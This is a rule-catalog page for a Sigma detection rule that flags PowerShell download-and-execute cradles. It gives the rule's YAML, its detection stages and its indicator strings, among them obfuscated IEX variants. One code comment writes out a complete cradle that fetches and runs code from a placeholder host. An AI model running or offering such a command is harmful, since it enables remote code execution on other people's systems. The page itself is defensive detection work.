PowerShell Download and Execution Cradles

Status: test
Severity: high
Log source: product windows, category process_creation
Author: Florian Roth (Nextron Systems)
Source: github.com/SigmaHQ/sigma

Detects PowerShell download and execution cradles.

MITRE ATT&CK coverage

Tactic	Techniques
Execution	`T1059` Command and Scripting Interpreter

Event coverage

Provider	Event	Title
Sysmon	Event ID 1	Process creation
Security-Auditing	Event ID 4688	A new process has been created.

Rule body yaml

title: PowerShell Download and Execution Cradles
id: 85b0b087-eddf-4a2b-b033-d771fa2b9775
status: test
description: Detects PowerShell download and execution cradles.
references:
    - https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd
    - https://labs.withsecure.com/publications/fin7-target-veeam-servers
author: Florian Roth (Nextron Systems)
date: 2022-03-24
modified: 2025-07-18
tags:
    - attack.execution
    - attack.t1059
logsource:
    product: windows
    category: process_creation
detection:
    selection_download:
        CommandLine|contains:
            - '.DownloadString('
            - '.DownloadFile('
            - 'Invoke-WebRequest '
            - 'iwr '
            - 'Invoke-RestMethod '
            - 'irm '  # powershell -ep bypass -w h -c irm test.domain/ffe | iex
    selection_iex:
        CommandLine|contains:
            - ';iex $'
            - '| IEX'
            - '|IEX '
            - 'I`E`X'
            - 'I`EX'
            - 'IE`X'
            - 'iex '
            - 'IEX ('
            - 'IEX('
            - 'Invoke-Expression'
    condition: all of selection_*
falsepositives:
    - Some PowerShell installers were seen using similar combinations. Apply filters accordingly
level: high

Stages and Predicates

Stage 0: `condition`

all of selection_*

Stage 1: `selection_download`

selection_download:
    CommandLine|contains:
        - '.DownloadString('
        - '.DownloadFile('
        - 'Invoke-WebRequest '
        - 'iwr '
        - 'Invoke-RestMethod '
        - 'irm '

Stage 2: `selection_iex`

selection_iex:
    CommandLine|contains:
        - ';iex $'
        - '| IEX'
        - '|IEX '
        - 'I`E`X'
        - 'I`EX'
        - 'IE`X'
        - 'iex '
        - 'IEX ('
        - 'IEX('
        - 'Invoke-Expression'

Indicators

Each row is a field, operator, and value that the rule matches. The corpus column counts how many other rules in the catalog look for the same combination: high numbers point to widely-used, community-vetted indicators. Blank or 1 shows that the indicator is specific to this rule.

Field	Kind	Values
`CommandLine`	match	`.DownloadFile(` corpus 8 (sigma 7, chronicle 1) `.DownloadString(` corpus 8 (sigma 7, chronicle 1) `;iex $` `IEX (` `IEX(` corpus 3 (sigma 3) IE`X I`EX I`E`X `Invoke-Expression` corpus 4 (sigma 4) `Invoke-RestMethod` corpus 2 (sigma 2) `Invoke-WebRequest` corpus 5 (sigma 4, chronicle 1) `iex` corpus 6 (sigma 6) `irm` corpus 5 (sigma 5) `iwr` corpus 13 (sigma 11, chronicle 2) `\| IEX` `\|IEX`

`j` / `k`	Scroll down / up
`d` / `u`	Half-page down / up
`gg` / `G`	Top / bottom
`h` / `l`	History back / forward
`f`	Follow link (`Shift` = new tab)
`/`	Focus search
`?`	Toggle this help
`↑` / `↓`	Navigate search results
`Enter`	Open highlighted result
`Esc`	Close results / dialog

`type:`	`events` / `rules` / `providers`
`vendor:`	`sigma` / `elastic` / `splunk` / `kusto` / `chronicle` (vendor name alone also works: `sigma:`, `kql:`, `secops:`…)
`tactic:`	TA-id, slug, or name: `credential_access`, `TA0006`
`technique:`	technique or sub-technique ID: `T1003`, `T1003.001` (alias `tech:`)
`severity:`	`critical` / `high` / `medium` / `low` / `informational` (alias `sev:`)
`risk_score`	Numeric comparison on the Elastic risk score (0 to 100): `risk_score>50`, `risk_score<=20`, `risk_score=99` (alias `risk`; Elastic rules only)
`stages:`	Rules with exactly N pipeline stages
`correlation:`	`single_event` / `sequence` / `alternatives` / `alternatives_cross_log` / `all_required` / `correlated`
`with:`	Co-occurrence event-id; stacks (`with:4624 with:4769`) to require all, while a comma list in one occurrence (`with:4624,4769`) is an either-or group. Implies multi-event
`like:`	Structural neighbors of a rule slug (equivalents + subsumption stricter / broader): `like:comsvcs_lsass_memory_dump-splunk-sysmon`
`groupby:`	Entity-grouping substring match against `group_by_keys`: `groupby:user`, `groupby:host`
`uses:`	Rules whose predicate tree touches the field (any kind, any value): `uses:CommandLine`
`excludes:`	Rules with top-level `not()` clauses on the field (FP whitelists): `excludes:ParentImage`
`field:` / `value:`	Predicate search; narrows rule cards to those with a matching leaf and drives the indicator tier. Unquoted = substring, wildcards allowed (`value:mimikatz`)
`indicator:`	Shorthand for `field:F value:V`: `indicator:Image=*\powershell.exe`
`kind:`	Filter by predicate kind. Narrows rule cards to those carrying a matching predicate leaf (`vendor:elastic kind:cidr_match`) and drives the indicator tier: `contains` / `starts_with` / `ends_with` / `regex` / `cidr` / `eq` / `in` … (operator aliases `op:`/`match:`)
`has:` / `no:`	`sample`, `field`, `notes`, `refs`, `trace`, `thirdparty`, `rule`, `pattern`, `timewindow`, `threshold`, `newterms`, `sigma`/`elastic`/`splunk`/`kusto`/`chronicle`
`-op:val`	Exclude matches; works on most operators but not `type:`/`like:`/`has:`/`no:` (use `no:<flag>` to exclude a rule flag): `tactic:execution -vendor:splunk`. Standalone `-kind:`/`-field:`/`-value:` drop every rule carrying a matching predicate leaf (`type:rules -kind:is_null`)
`field:"…"` / `value:"…"`	Quoted value = anchored exact match (also allows spaces): `value:"net user"`
`a,b`	Comma = OR inside one operator (`vendor:sigma,elastic`, `severity:high,critical`); repeating a facet merges the same way. `field:`/`value:` never split (literal commas)
`vendors:` / `stage:`	Singular and plural spellings fold to the canonical operator and value: `tactics:` = `tactic:`, `type:event` = `type:events`, `correlation:sequences` = `correlation:sequence`, `has:thresholds` = `has:threshold`
`"quoted phrase"`	Exact-match a multi-word phrase (free text)

PowerShell Download and Execution Cradles

MITRE ATT&CK coverage

Event coverage

Rule body yaml

Stages and Predicates

Stage 0: `condition`

Stage 1: `selection_download`

Stage 2: `selection_iex`

Indicators

Keyboard shortcuts

Search operators

PowerShell Download and Execution Cradles

MITRE ATT&CK coverage

Event coverage

Rule body yaml

Stages and Predicates

Stage 0: condition

Stage 1: selection_download

Stage 2: selection_iex

Indicators

Stage 0: `condition`

Stage 1: `selection_download`

Stage 2: `selection_iex`